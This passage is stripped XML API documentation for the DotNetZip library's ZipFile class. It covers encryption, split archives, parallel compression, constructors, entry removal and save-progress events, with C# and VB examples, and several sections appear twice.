"Top.Secret.No.Peeking!" + zip.AddFile("ReadMe.txt") + zip.AddFile("7440-N49th.png") + zip.AddFile("2008-Regional-Sales-Report.pdf") + zip.Save("EncryptedArchive.zip") + End Using + + ' Extract a zip archive that uses AES Encryption. + ' You do not need to specify the algorithm during extraction. + Using (zip as ZipFile = ZipFile.Read("EncryptedArchive.zip")) + zip.Password= "Top.Secret.No.Peeking!" + zip.ExtractAll("extractDirectory") + End Using + + + + + ZipFile.Password + ZipEntry.Encryption + + + + A callback that allows the application to specify the compression level + to use for entries subsequently added to the zip archive. + + + + + + With this callback, the DotNetZip library allows the application to + determine whether compression will be used, at the time of the + Save. This may be useful if the application wants to favor + speed over size, and wants to defer the decision until the time of + Save. + + + + Typically applications set the property on + the ZipFile or on each ZipEntry to determine the level of + compression used. This is done at the time the entry is added to the + ZipFile. Setting the property to + Ionic.Zlib.CompressionLevel.None means no compression will be used. + + + + This callback allows the application to defer the decision on the + CompressionLevel to use, until the time of the call to + ZipFile.Save(). The callback is invoked once per ZipEntry, + at the time the data for the entry is being written out as part of a + Save() operation. The application can use whatever criteria it + likes in determining the level to return. For example, an application may + wish that no .mp3 files should be compressed, because they are already + compressed and the extra compression is not worth the CPU time incurred, + and so can return None for all .mp3 entries. + + + + The library determines whether compression will be attempted for an entry + this way: If the entry is a zero length file, or a directory, no + compression is used. Otherwise, if this callback is set, it is invoked + and the CompressionLevel is set to the return value. If this + callback has not been set, then the previously set value for + CompressionLevel is used. + + + + + + + The maximum size of an output segment, when saving a split Zip file. + + + + Make sure you do not read from this field if you've set the value using + + + + Set this to a non-zero value before calling or to specify that the ZipFile should be saved as a + split archive, also sometimes called a spanned archive. Some also + call them multi-file archives. + + + + A split zip archive is saved in a set of discrete filesystem files, + rather than in a single file. This is handy when transmitting the + archive in email or some other mechanism that has a limit to the size of + each file. The first file in a split archive will be named + basename.z01, the second will be named basename.z02, and + so on. The final file is named basename.zip. According to the zip + specification from PKWare, the minimum value is 65536, for a 64k segment + size. The maximum number of segments allows in a split archive is 99. + + + + The value of this property determines the maximum size of a split + segment when writing a split archive. For example, suppose you have a + ZipFile that would save to a single file of 200k. If you set the + MaxOutputSegmentSize to 65536 before calling Save(), you + will get four distinct output files. On the other hand if you set this + property to 256k, then you will get a single-file archive for that + ZipFile. + + + + The size of each split output file will be as large as possible, up to + the maximum size set here. The zip specification requires that some data + fields in a zip archive may not span a split boundary, and an output + segment may be smaller than the maximum if necessary to avoid that + problem. Also, obviously the final segment of the archive may be smaller + than the maximum segment size. Segments will never be larger than the + value set with this property. + + + + You can save a split Zip file only when saving to a regular filesystem + file. It's not possible to save a split zip file as a self-extracting + archive, nor is it possible to save a split zip file to a stream. When + saving to a SFX or to a Stream, this property is ignored. + + + + About interoperability: Split or spanned zip files produced by DotNetZip + can be read by WinZip or PKZip, and vice-versa. Segmented zip files may + not be readable by other tools, if those other tools don't support zip + spanning or splitting. When in doubt, test. I don't believe Windows + Explorer can extract a split archive. + + + + This property has no effect when reading a split archive. You can read + a split archive in the normal way with DotNetZip. + + + + When saving a zip file, if you want a regular zip file rather than a + split zip file, don't set this property, or set it to Zero. + + + + If you read a split archive, with and + then subsequently call ZipFile.Save(), unless you set this + property before calling Save(), you will get a normal, + single-file archive. + + + + + + + + The maximum size of an output segment, when saving a split Zip file. + + + + If you set this value, make sure you do not accidently use in your code + + + + Set this to a non-zero value before calling or to specify that the ZipFile should be saved as a + split archive, also sometimes called a spanned archive. Some also + call them multi-file archives. + + + + A split zip archive is saved in a set of discrete filesystem files, + rather than in a single file. This is handy when transmitting the + archive in email or some other mechanism that has a limit to the size of + each file. The first file in a split archive will be named + basename.z01, the second will be named basename.z02, and + so on. The final file is named basename.zip. According to the zip + specification from PKWare, the minimum value is 65536, for a 64k segment + size. The maximum number of segments allows in a split archive is 99. + + + + The value of this property determines the maximum size of a split + segment when writing a split archive. For example, suppose you have a + ZipFile that would save to a single file of 200k. If you set the + MaxOutputSegmentSize to 65536 before calling Save(), you + will get four distinct output files. On the other hand if you set this + property to 256k, then you will get a single-file archive for that + ZipFile. + + + + The size of each split output file will be as large as possible, up to + the maximum size set here. The zip specification requires that some data + fields in a zip archive may not span a split boundary, and an output + segment may be smaller than the maximum if necessary to avoid that + problem. Also, obviously the final segment of the archive may be smaller + than the maximum segment size. Segments will never be larger than the + value set with this property. + + + + You can save a split Zip file only when saving to a regular filesystem + file. It's not possible to save a split zip file as a self-extracting + archive, nor is it possible to save a split zip file to a stream. When + saving to a SFX or to a Stream, this property is ignored. + + + + About interoperability: Split or spanned zip files produced by DotNetZip + can be read by WinZip or PKZip, and vice-versa. Segmented zip files may + not be readable by other tools, if those other tools don't support zip + spanning or splitting. When in doubt, test. I don't believe Windows + Explorer can extract a split archive. + + + + This property has no effect when reading a split archive. You can read + a split archive in the normal way with DotNetZip. + + + + When saving a zip file, if you want a regular zip file rather than a + split zip file, don't set this property, or set it to Zero. + + + + If you read a split archive, with and + then subsequently call ZipFile.Save(), unless you set this + property before calling Save(), you will get a normal, + single-file archive. + + + + + + + + Returns the number of segments used in the most recent Save() operation. + + + + This is normally zero, unless you have set the property. If you have set , and then you save a file, after the call to + Save() completes, you can read this value to learn the number of segments that + were created. + + + If you call Save("Archive.zip"), and it creates 5 segments, then you + will have filesystem files named Archive.z01, Archive.z02, Archive.z03, + Archive.z04, and Archive.zip, and the value of this property will be 5. + + + + + + + The size threshold for an entry, above which a parallel deflate is used. + + + + + + DotNetZip will use multiple threads to compress any ZipEntry, + if the entry is larger than the given size. Zero means "always + use parallel deflate", while -1 means "never use parallel + deflate". The default value for this property is 512k. Aside + from the special values of 0 and 1, the minimum value is 65536. + + + + If the entry size cannot be known before compression, as with a + read-forward stream, then Parallel deflate will never be + performed, unless the value of this property is zero. + + + + A parallel deflate operations will speed up the compression of + large files, on computers with multiple CPUs or multiple CPU + cores. For files above 1mb, on a dual core or dual-cpu (2p) + machine, the time required to compress the file can be 70% of the + single-threaded deflate. For very large files on 4p machines the + compression can be done in 30% of the normal time. The downside + is that parallel deflate consumes extra memory during the deflate, + and the deflation is not as effective. + + + + Parallel deflate tends to yield slightly less compression when + compared to as single-threaded deflate; this is because the original + data stream is split into multiple independent buffers, each of which + is compressed in parallel. But because they are treated + independently, there is no opportunity to share compression + dictionaries. For that reason, a deflated stream may be slightly + larger when compressed using parallel deflate, as compared to a + traditional single-threaded deflate. Sometimes the increase over the + normal deflate is as much as 5% of the total compressed size. For + larger files it can be as small as 0.1%. + + + + Multi-threaded compression does not give as much an advantage when + using Encryption. This is primarily because encryption tends to slow + down the entire pipeline. Also, multi-threaded compression gives less + of an advantage when using lower compression levels, for example . You may have to + perform some tests to determine the best approach for your situation. + + + + + + + + + + The maximum number of buffer pairs to use when performing + parallel compression. + + + + + This property sets an upper limit on the number of memory + buffer pairs to create when performing parallel + compression. The implementation of the parallel + compression stream allocates multiple buffers to + facilitate parallel compression. As each buffer fills up, + the stream uses + ThreadPool.QueueUserWorkItem() to compress those + buffers in a background threadpool thread. After a buffer + is compressed, it is re-ordered and written to the output + stream. + + + + A higher number of buffer pairs enables a higher degree of + parallelism, which tends to increase the speed of compression on + multi-cpu computers. On the other hand, a higher number of buffer + pairs also implies a larger memory consumption, more active worker + threads, and a higher cpu utilization for any compression. This + property enables the application to limit its memory consumption and + CPU utilization behavior depending on requirements. + + + + For each compression "task" that occurs in parallel, there are 2 + buffers allocated: one for input and one for output. This property + sets a limit for the number of pairs. The total amount of storage + space allocated for buffering will then be (N*S*2), where N is the + number of buffer pairs, S is the size of each buffer (). By default, DotNetZip allocates 4 buffer + pairs per CPU core, so if your machine has 4 cores, and you retain + the default buffer size of 128k, then the + ParallelDeflateOutputStream will use 4 * 4 * 2 * 128kb of buffer + memory in total, or 4mb, in blocks of 128kb. If you then set this + property to 8, then the number will be 8 * 2 * 128kb of buffer + memory, or 2mb. + + + + CPU utilization will also go up with additional buffers, because a + larger number of buffer pairs allows a larger number of background + threads to compress in parallel. If you find that parallel + compression is consuming too much memory or CPU, you can adjust this + value downward. + + + + The default value is 16. Different values may deliver better or + worse results, depending on your priorities and the dynamic + performance characteristics of your storage and compute resources. + + + + This property is not the number of buffer pairs to use; it is an + upper limit. An illustration: Suppose you have an application that + uses the default value of this property (which is 16), and it runs + on a machine with 2 CPU cores. In that case, DotNetZip will allocate + 4 buffer pairs per CPU core, for a total of 8 pairs. The upper + limit specified by this property has no effect. + + + + The application can set this value at any time + before calling ZipFile.Save(). + + + + + + + + Provides a string representation of the instance. + a string representation of the instance. + + + + Returns the version number on the DotNetZip assembly. + + + + + This property is exposed as a convenience. Callers could also get the + version value by retrieving GetName().Version on the + System.Reflection.Assembly object pointing to the DotNetZip + assembly. But sometimes it is not clear which assembly is being loaded. + This property makes it clear. + + + This static property is primarily useful for diagnostic purposes. + + + + + + Creates a new ZipFile instance, using the specified filename. + + + + + Applications can use this constructor to create a new ZipFile for writing, + or to slurp in an existing zip archive for read and update purposes. + + + + To create a new zip archive, an application can call this constructor, + passing the name of a file that does not exist. The name may be a fully + qualified path. Then the application can add directories or files to the + ZipFile via AddDirectory(), AddFile(), AddItem() + and then write the zip archive to the disk by calling Save(). The + zip file is not actually opened and written to the disk until the + application calls ZipFile.Save(). At that point the new zip file + with the given name is created. + + + + If you won't know the name of the Zipfile until the time you call + ZipFile.Save(), or if you plan to save to a stream (which has no + name), then you should use the no-argument constructor. + + + + The application can also call this constructor to read an existing zip + archive. passing the name of a valid zip file that does exist. But, it's + better form to use the static method, + passing the name of the zip file, because using ZipFile.Read() in + your code communicates very clearly what you are doing. In either case, + the file is then read into the ZipFile instance. The app can then + enumerate the entries or can modify the zip file, for example adding + entries, removing entries, changing comments, and so on. + + + + One advantage to this parameterized constructor: it allows applications to + use the same code to add items to a zip archive, regardless of whether the + zip file exists. + + + + Instances of the ZipFile class are not multi-thread safe. You may + not party on a single instance with multiple threads. You may have + multiple threads that each use a distinct ZipFile instance, or you + can synchronize multi-thread access to a single instance. + + + + By the way, since DotNetZip is so easy to use, don't you think you should + donate $5 or $10? + + + + + + Thrown if name refers to an existing file that is not a valid zip file. + + + + This example shows how to create a zipfile, and add a few files into it. + + String ZipFileToCreate = "archive1.zip"; + String DirectoryToZip = "c:\\reports"; + using (ZipFile zip = new ZipFile()) + { + // Store all files found in the top level directory, into the zip archive. + String[] filenames = System.IO.Directory.GetFiles(DirectoryToZip); + zip.AddFiles(filenames, "files"); + zip.Save(ZipFileToCreate); + } + + + + Dim ZipFileToCreate As String = "archive1.zip" + Dim DirectoryToZip As String = "c:\reports" + Using zip As ZipFile = New ZipFile() + Dim filenames As String() = System.IO.Directory.GetFiles(DirectoryToZip) + zip.AddFiles(filenames, "files") + zip.Save(ZipFileToCreate) + End Using + + + + The filename to use for the new zip archive. + + + + + Creates a new ZipFile instance, using the specified name for the + filename, and the specified Encoding. + + + + + See the documentation on the ZipFile + constructor that accepts a single string argument for basic + information on all the ZipFile constructors. + + + + The Encoding is used as the default alternate encoding for entries with + filenames or comments that cannot be encoded with the IBM437 code page. + This is equivalent to setting the property on the ZipFile + instance after construction. + + + + Instances of the ZipFile class are not multi-thread safe. You may + not party on a single instance with multiple threads. You may have + multiple threads that each use a distinct ZipFile instance, or you + can synchronize multi-thread access to a single instance. + + + + + + Thrown if name refers to an existing file that is not a valid zip file. + + + The filename to use for the new zip archive. + The Encoding is used as the default alternate + encoding for entries with filenames or comments that cannot be encoded + with the IBM437 code page. + + + + Create a zip file, without specifying a target filename or stream to save to. + + + + + See the documentation on the ZipFile + constructor that accepts a single string argument for basic + information on all the ZipFile constructors. + + + + After instantiating with this constructor and adding entries to the + archive, the application should call or + to save to a file or a + stream, respectively. The application can also set the + property and then call the no-argument method. (This + is the preferred approach for applications that use the library through + COM interop.) If you call the no-argument method + without having set the Name of the ZipFile, either through + the parameterized constructor or through the explicit property , the + Save() will throw, because there is no place to save the file. + + + Instances of the ZipFile class are not multi-thread safe. You may + have multiple threads that each use a distinct ZipFile instance, or + you can synchronize multi-thread access to a single instance. + + + + + This example creates a Zip archive called Backup.zip, containing all the files + in the directory DirectoryToZip. Files within subdirectories are not zipped up. + + using (ZipFile zip = new ZipFile()) + { + // Store all files found in the top level directory, into the zip archive. + // note: this code does not recurse subdirectories! + String[] filenames = System.IO.Directory.GetFiles(DirectoryToZip); + zip.AddFiles(filenames, "files"); + zip.Save("Backup.zip"); + } + + + + Using zip As New ZipFile + ' Store all files found in the top level directory, into the zip archive. + ' note: this code does not recurse subdirectories! + Dim filenames As String() = System.IO.Directory.GetFiles(DirectoryToZip) + zip.AddFiles(filenames, "files") + zip.Save("Backup.zip") + End Using + + + + + + Create a zip file, specifying a text Encoding, but without specifying a + target filename or stream to save to. + + + + + See the documentation on the ZipFile + constructor that accepts a single string argument for basic + information on all the ZipFile constructors. + + + + + + The Encoding is used as the default alternate encoding for entries with + filenames or comments that cannot be encoded with the IBM437 code page. + + + + + Creates a new ZipFile instance, using the specified name for the + filename, and the specified status message writer. + + + + + See the documentation on the ZipFile + constructor that accepts a single string argument for basic + information on all the ZipFile constructors. + + + + This version of the constructor allows the caller to pass in a TextWriter, + to which verbose messages will be written during extraction or creation of + the zip archive. A console application may wish to pass + System.Console.Out to get messages on the Console. A graphical or headless + application may wish to capture the messages in a different + TextWriter, for example, a StringWriter, and then display + the messages in a TextBox, or generate an audit log of ZipFile operations. + + + + To encrypt the data for the files added to the ZipFile instance, + set the Password property after creating the ZipFile instance. + + + + Instances of the ZipFile class are not multi-thread safe. You may + not party on a single instance with multiple threads. You may have + multiple threads that each use a distinct ZipFile instance, or you + can synchronize multi-thread access to a single instance. + + + + + + Thrown if name refers to an existing file that is not a valid zip file. + + + + + using (ZipFile zip = new ZipFile("Backup.zip", Console.Out)) + { + // Store all files found in the top level directory, into the zip archive. + // note: this code does not recurse subdirectories! + // Status messages will be written to Console.Out + String[] filenames = System.IO.Directory.GetFiles(DirectoryToZip); + zip.AddFiles(filenames); + zip.Save(); + } + + + + Using zip As New ZipFile("Backup.zip", Console.Out) + ' Store all files found in the top level directory, into the zip archive. + ' note: this code does not recurse subdirectories! + ' Status messages will be written to Console.Out + Dim filenames As String() = System.IO.Directory.GetFiles(DirectoryToZip) + zip.AddFiles(filenames) + zip.Save() + End Using + + + + The filename to use for the new zip archive. + A TextWriter to use for writing + verbose status messages. + + + + Creates a new ZipFile instance, using the specified name for the + filename, the specified status message writer, and the specified Encoding. + + + + + This constructor works like the ZipFile + constructor that accepts a single string argument. See that + reference for detail on what this constructor does. + + + + This version of the constructor allows the caller to pass in a + TextWriter, and an Encoding. The TextWriter will collect + verbose messages that are generated by the library during extraction or + creation of the zip archive. A console application may wish to pass + System.Console.Out to get messages on the Console. A graphical or + headless application may wish to capture the messages in a different + TextWriter, for example, a StringWriter, and then display + the messages in a TextBox, or generate an audit log of + ZipFile operations. + + + + The Encoding is used as the default alternate encoding for entries + with filenames or comments that cannot be encoded with the IBM437 code + page. This is a equivalent to setting the property on the ZipFile + instance after construction. + + + + To encrypt the data for the files added to the ZipFile instance, + set the Password property after creating the ZipFile + instance. + + + + Instances of the ZipFile class are not multi-thread safe. You may + not party on a single instance with multiple threads. You may have + multiple threads that each use a distinct ZipFile instance, or you + can synchronize multi-thread access to a single instance. + + + + + + Thrown if fileName refers to an existing file that is not a valid zip file. + + + The filename to use for the new zip archive. + A TextWriter to use for writing verbose + status messages. + + The Encoding is used as the default alternate encoding for entries with + filenames or comments that cannot be encoded with the IBM437 code page. + + + + + Initialize a ZipFile instance by reading in a zip file. + + + + + + This method is primarily useful from COM Automation environments, when + reading or extracting zip files. In COM, it is not possible to invoke + parameterized constructors for a class. A COM Automation application can + update a zip file by using the default (no argument) + constructor, then calling Initialize() to read the contents + of an on-disk zip archive into the ZipFile instance. + + + + .NET applications are encouraged to use the ZipFile.Read() methods + for better clarity. + + + + the name of the existing zip file to read in. + + + + This is an integer indexer into the Zip archive. + + + + + This property is read-only. + + + + Internally, the ZipEntry instances that belong to the + ZipFile are stored in a Dictionary. When you use this + indexer the first time, it creates a read-only + List<ZipEntry> from the Dictionary.Values Collection. + If at any time you modify the set of entries in the ZipFile, + either by adding an entry, removing an entry, or renaming an + entry, a new List will be created, and the numeric indexes for the + remaining entries may be different. + + + + This means you cannot rename any ZipEntry from + inside an enumeration of the zip file. + + + + The index value. + + + + + + The ZipEntry within the Zip archive at the specified index. If the + entry does not exist in the archive, this indexer throws. + + + + + + This is a name-based indexer into the Zip archive. + + + + + This property is read-only. + + + + The property on the ZipFile + determines whether retrieval via this indexer is done via case-sensitive + comparisons. By default, retrieval is not case sensitive. This makes + sense on Windows, in which filesystems are not case sensitive. + + + + Regardless of case-sensitivity, it is not always the case that + this[value].FileName == value. In other words, the FileName + property of the ZipEntry retrieved with this indexer, may or may + not be equal to the index value. + + + + This is because DotNetZip performs a normalization of filenames passed to + this indexer, before attempting to retrieve the item. That normalization + includes: removal of a volume letter and colon, swapping backward slashes + for forward slashes. So, zip["dir1\\entry1.txt"].FileName == + "dir1/entry.txt". + + + + Directory entries in the zip file may be retrieved via this indexer only + with names that have a trailing slash. DotNetZip automatically appends a + trailing slash to the names of any directory entries added to a zip. + + + + + + This example extracts only the entries in a zip file that are .txt files. + + using (ZipFile zip = ZipFile.Read("PackedDocuments.zip")) + { + foreach (string s1 in zip.EntryFilenames) + { + if (s1.EndsWith(".txt")) + zip[s1].Extract("textfiles"); + } + } + + + Using zip As ZipFile = ZipFile.Read("PackedDocuments.zip") + Dim s1 As String + For Each s1 In zip.EntryFilenames + If s1.EndsWith(".txt") Then + zip(s1).Extract("textfiles") + End If + Next + End Using + + + + + + Thrown if the caller attempts to assign a non-null value to the indexer. + + + + The name of the file, including any directory path, to retrieve from the + zip. The filename match is not case-sensitive by default; you can use the + property to change this behavior. The + pathname can use forward-slashes or backward slashes. + + + + The ZipEntry within the Zip archive, given by the specified + filename. If the named entry does not exist in the archive, this indexer + returns null (Nothing in VB). + + + + + + The list of filenames for the entries contained within the zip archive. + + + + According to the ZIP specification, the names of the entries use forward + slashes in pathnames. If you are scanning through the list, you may have + to swap forward slashes for backslashes. + + + + + + This example shows one way to test if a filename is already contained + within a zip archive. + + String zipFileToRead= "PackedDocuments.zip"; + string candidate = "DatedMaterial.xps"; + using (ZipFile zip = new ZipFile(zipFileToRead)) + { + if (zip.EntryFilenames.Contains(candidate)) + Console.WriteLine("The file '{0}' exists in the zip archive '{1}'", + candidate, + zipFileName); + else + Console.WriteLine("The file, '{0}', does not exist in the zip archive '{1}'", + candidate, + zipFileName); + Console.WriteLine(); + } + + + Dim zipFileToRead As String = "PackedDocuments.zip" + Dim candidate As String = "DatedMaterial.xps" + Using zip As ZipFile.Read(ZipFileToRead) + If zip.EntryFilenames.Contains(candidate) Then + Console.WriteLine("The file '{0}' exists in the zip archive '{1}'", _ + candidate, _ + zipFileName) + Else + Console.WriteLine("The file, '{0}', does not exist in the zip archive '{1}'", _ + candidate, _ + zipFileName) + End If + Console.WriteLine + End Using + + + + + The list of strings for the filenames contained within the Zip archive. + + + + + + Returns the readonly collection of entries in the Zip archive. + + + + + + If there are no entries in the current ZipFile, the value returned is a + non-null zero-element collection. If there are entries in the zip file, + the elements are returned in no particular order. + + + This is the implied enumerator on the ZipFile class. If you use a + ZipFile instance in a context that expects an enumerator, you will + get this collection. + + + + + + + Returns a readonly collection of entries in the Zip archive, sorted by FileName. + + + + If there are no entries in the current ZipFile, the value returned + is a non-null zero-element collection. If there are entries in the zip + file, the elements are returned sorted by the name of the entry. + + + + + This example fills a Windows Forms ListView with the entries in a zip file. + + + using (ZipFile zip = ZipFile.Read(zipFile)) + { + foreach (ZipEntry entry in zip.EntriesSorted) + { + ListViewItem item = new ListViewItem(n.ToString()); + n++; + string[] subitems = new string[] { + entry.FileName.Replace("/","\\"), + entry.LastModified.ToString("yyyy-MM-dd HH:mm:ss"), + entry.UncompressedSize.ToString(), + String.Format("{0,5:F0}%", entry.CompressionRatio), + entry.CompressedSize.ToString(), + (entry.UsesEncryption) ? "Y" : "N", + String.Format("{0:X8}", entry.Crc)}; + + foreach (String s in subitems) + { + ListViewItem.ListViewSubItem subitem = new ListViewItem.ListViewSubItem(); + subitem.Text = s; + item.SubItems.Add(subitem); + } + + this.listView1.Items.Add(item); + } + } + + + + + + + + Returns the number of entries in the Zip archive. + + + + + Removes the given ZipEntry from the zip archive. + + + + + After calling RemoveEntry, the application must call Save to + make the changes permanent. + + + + + Thrown if the specified ZipEntry does not exist in the ZipFile. + + + + In this example, all entries in the zip archive dating from before + December 31st, 2007, are removed from the archive. This is actually much + easier if you use the RemoveSelectedEntries method. But I needed an + example for RemoveEntry, so here it is. + + String ZipFileToRead = "ArchiveToModify.zip"; + System.DateTime Threshold = new System.DateTime(2007,12,31); + using (ZipFile zip = ZipFile.Read(ZipFileToRead)) + { + var EntriesToRemove = new System.Collections.Generic.List<ZipEntry>(); + foreach (ZipEntry e in zip) + { + if (e.LastModified < Threshold) + { + // We cannot remove the entry from the list, within the context of + // an enumeration of said list. + // So we add the doomed entry to a list to be removed later. + EntriesToRemove.Add(e); + } + } + + // actually remove the doomed entries. + foreach (ZipEntry zombie in EntriesToRemove) + zip.RemoveEntry(zombie); + + zip.Comment= String.Format("This zip archive was updated at {0}.", + System.DateTime.Now.ToString("G")); + + // save with a different name + zip.Save("Archive-Updated.zip"); + } + + + + Dim ZipFileToRead As String = "ArchiveToModify.zip" + Dim Threshold As New DateTime(2007, 12, 31) + Using zip As ZipFile = ZipFile.Read(ZipFileToRead) + Dim EntriesToRemove As New System.Collections.Generic.List(Of ZipEntry) + Dim e As ZipEntry + For Each e In zip + If (e.LastModified < Threshold) Then + ' We cannot remove the entry from the list, within the context of + ' an enumeration of said list. + ' So we add the doomed entry to a list to be removed later. + EntriesToRemove.Add(e) + End If + Next + + ' actually remove the doomed entries. + Dim zombie As ZipEntry + For Each zombie In EntriesToRemove + zip.RemoveEntry(zombie) + Next + zip.Comment = String.Format("This zip archive was updated at {0}.", DateTime.Now.ToString("G")) + 'save as a different name + zip.Save("Archive-Updated.zip") + End Using + + + + + The ZipEntry to remove from the zip. + + + + + + + + Removes the ZipEntry with the given filename from the zip archive. + + + + + After calling RemoveEntry, the application must call Save to + make the changes permanent. + + + + + + Thrown if the ZipFile is not updatable. + + + + Thrown if a ZipEntry with the specified filename does not exist in + the ZipFile. + + + + + This example shows one way to remove an entry with a given filename from + an existing zip archive. + + + String zipFileToRead= "PackedDocuments.zip"; + string candidate = "DatedMaterial.xps"; + using (ZipFile zip = ZipFile.Read(zipFileToRead)) + { + if (zip.EntryFilenames.Contains(candidate)) + { + zip.RemoveEntry(candidate); + zip.Comment= String.Format("The file '{0}' has been removed from this archive.", + Candidate); + zip.Save(); + } + } + + + Dim zipFileToRead As String = "PackedDocuments.zip" + Dim candidate As String = "DatedMaterial.xps" + Using zip As ZipFile = ZipFile.Read(zipFileToRead) + If zip.EntryFilenames.Contains(candidate) Then + zip.RemoveEntry(candidate) + zip.Comment = String.Format("The file '{0}' has been removed from this archive.", Candidate) + zip.Save + End If + End Using + + + + + The name of the file, including any directory path, to remove from the zip. + The filename match is not case-sensitive by default; you can use the + CaseSensitiveRetrieval property to change this behavior. The + pathname can use forward-slashes or backward slashes. + + + + + + Closes the read and write streams associated + to the ZipFile, if necessary. + + + + The Dispose() method is generally employed implicitly, via a using(..) {..} + statement. (Using...End Using in VB) If you do not employ a using + statement, insure that your application calls Dispose() explicitly. For + example, in a Powershell application, or an application that uses the COM + interop interface, you must call Dispose() explicitly. + + + + This example extracts an entry selected by name, from the Zip file to the + Console. + + using (ZipFile zip = ZipFile.Read(zipfile)) + { + foreach (ZipEntry e in zip) + { + if (WantThisEntry(e.FileName)) + zip.Extract(e.FileName, Console.OpenStandardOutput()); + } + } // Dispose() is called implicitly here. + + + + Using zip As ZipFile = ZipFile.Read(zipfile) + Dim e As ZipEntry + For Each e In zip + If WantThisEntry(e.FileName) Then + zip.Extract(e.FileName, Console.OpenStandardOutput()) + End If + Next + End Using ' Dispose is implicity called here + + + + + + Disposes any managed resources, if the flag is set, then marks the + instance disposed. This method is typically not called explicitly from + application code. + + + + Applications should call the no-arg Dispose method. + + + + indicates whether the method should dispose streams or not. + + + + + Default size of the buffer used for IO. + + + + + An event handler invoked when a Save() starts, before and after each + entry has been written to the archive, when a Save() completes, and + during other Save events. + + + + + Depending on the particular event, different properties on the parameter are set. The following + table summarizes the available EventTypes and the conditions under + which this event handler is invoked with a + SaveProgressEventArgs with the given EventType. + + + + + value of EntryType + Meaning and conditions + + + + ZipProgressEventType.Saving_Started + Fired when ZipFile.Save() begins. + + + + + ZipProgressEventType.Saving_BeforeSaveEntry + + Fired within ZipFile.Save(), just before writing data for each + particular entry. + + + + + ZipProgressEventType.Saving_AfterSaveEntry + + Fired within ZipFile.Save(), just after having finished writing data + for each particular entry. + + + + + ZipProgressEventType.Saving_Completed + Fired when ZipFile.Save() has completed. + + + + + ZipProgressEventType.Saving_AfterSaveTempArchive + + Fired after the temporary file has been created. This happens only + when saving to a disk file. This event will not be invoked when + saving to a stream. + + + + + ZipProgressEventType.Saving_BeforeRenameTempArchive + + Fired just before renaming the temporary file to the permanent + location. This happens only when saving to a disk file. This event + will not be invoked when saving to a stream. + + + + + ZipProgressEventType.Saving_AfterRenameTempArchive + + Fired just after renaming the temporary file to the permanent + location. This happens only when saving to a disk file. This event + will not be invoked when saving to a stream. + + + + + ZipProgressEventType.Saving_AfterCompileSelfExtractor + + Fired after a self-extracting archive has finished compiling. This + EventType is used only within SaveSelfExtractor(). + + + + + ZipProgressEventType.Saving_BytesRead + + Set during the save of a particular entry, to update progress of the + Save(). When this EventType is set, the BytesTransferred is the + number of bytes that have been read from the source stream. The + TotalBytesToTransfer is the number of bytes in the uncompressed + file. + + + + + + + + + This example uses an anonymous method to handle the + SaveProgress event, by updating a progress bar. + + + progressBar1.Value = 0; + progressBar1.Max = listbox1.Items.Count; + using (ZipFile zip = new ZipFile()) + { + // listbox1 contains a list of filenames + zip.AddFiles(listbox1.Items); + + // do the progress bar: + zip.SaveProgress += (sender, e) => { + if (e.EventType == ZipProgressEventType.Saving_BeforeWriteEntry) { + progressBar1.PerformStep(); + } + }; + + zip.Save(fs); + } + + + + + This example uses a named method as the + SaveProgress event handler, to update the user, in a + console-based application. + + + static bool justHadByteUpdate= false; + public static void SaveProgress(object sender, SaveProgressEventArgs e) + { + if (e.EventType == ZipProgressEventType.Saving_Started) + Console.WriteLine("Saving: {0}", e.ArchiveName); + + else if (e.EventType == ZipProgressEventType.Saving_Completed) + { + justHadByteUpdate= false; + Console.WriteLine(); + Console.WriteLine("Done: {0}", e.ArchiveName); + } + + else if (e.EventType == ZipProgressEventType.Saving_BeforeWriteEntry) + { + if (justHadByteUpdate) + Console.WriteLine(); + Console.WriteLine(" Writing: {0} ({1}/{2})", + e.CurrentEntry.FileName, e.EntriesSaved, e.EntriesTotal); + justHadByteUpdate= false; + } + + else if (e.EventType == ZipProgressEventType.Saving_EntryBytesRead) + { + if (justHadByteUpdate) + Console.SetCursorPosition(0, Console.CursorTop); + Console.Write(" {0}/{1} ({2:N0}%)", e.BytesTransferred, e.TotalBytesToTransfer, + e.BytesTransferred / (0.01 * e.TotalBytesToTransfer )); + justHadByteUpdate= true; + } + } + + public static ZipUp(string targetZip, string directory) + { + using (var zip = new ZipFile()) { + zip.SaveProgress += SaveProgress; + zip.AddDirectory(directory); + zip.Save(targetZip); + } + } + + + + + Public Sub ZipUp(ByVal targetZip As String, ByVal directory As String) + Using zip As ZipFile = New ZipFile + AddHandler zip.SaveProgress, AddressOf MySaveProgress + zip.AddDirectory(directory) + zip.Save(targetZip) + End Using + End Sub + + Private Shared justHadByteUpdate As Boolean = False + + Public Shared Sub MySaveProgress(ByVal sender As Object, ByVal e As SaveProgressEventArgs) + If (e.EventType Is ZipProgressEventType.Saving_Started) Then + Console.WriteLine("Saving: {0}", e.ArchiveName) + + ElseIf (e.EventType Is ZipProgressEventType.Saving_Completed) Then + justHadByteUpdate = False + Console.WriteLine + Console.WriteLine("Done: {0}", e.ArchiveName) + + ElseIf (e.EventType Is ZipProgressEventType.Saving_BeforeWriteEntry) Then + If justHadByteUpdate Then + Console.WriteLine + End If + Console.WriteLine(" Writing: {0} ({1}/{2})", e.CurrentEntry.FileName, e.EntriesSaved, e.EntriesTotal) + justHadByteUpdate = False + + ElseIf (e.EventType Is ZipProgressEventType.Saving_EntryBytesRead) Then + If justHadByteUpdate Then + Console.SetCursorPosition(0, Console.CursorTop) + End If + Console.Write(" {0}/{1} ({2:N0}%)", e.BytesTransferred, _ + e.TotalBytesToTransfer, _ + (CDbl(e.BytesTransferred) / (0.01 * e.TotalBytesToTransfer))) + justHadByteUpdate = True + End If + End Sub + + + + + + This is a more complete example of using the SaveProgress + events in a Windows Forms application, with a + Thread object. + + + delegate void SaveEntryProgress(SaveProgressEventArgs e); + delegate void ButtonClick(object sender, EventArgs e); + + public class WorkerOptions + { + public string ZipName; + public string Folder; + public string Encoding; + public string Comment; + public int ZipFlavor; + public Zip64Option Zip64; + } + + private int _progress2MaxFactor; + private bool _saveCanceled; + private long _totalBytesBeforeCompress; + private long _totalBytesAfterCompress; + private Thread _workerThread; + + + private void btnZipup_Click(object sender, EventArgs e) + { + KickoffZipup(); + } + + private void btnCancel_Click(object sender, EventArgs e) + { + if (this.lblStatus.InvokeRequired) + { + this.lblStatus.Invoke(new ButtonClick(this.btnCancel_Click), new object[] { sender, e }); + } + else + { + _saveCanceled = true; + lblStatus.Text = "Canceled..."; + ResetState(); + } + } + + private void KickoffZipup() + { + _folderName = tbDirName.Text; + + if (_folderName == null || _folderName == "") return; + if 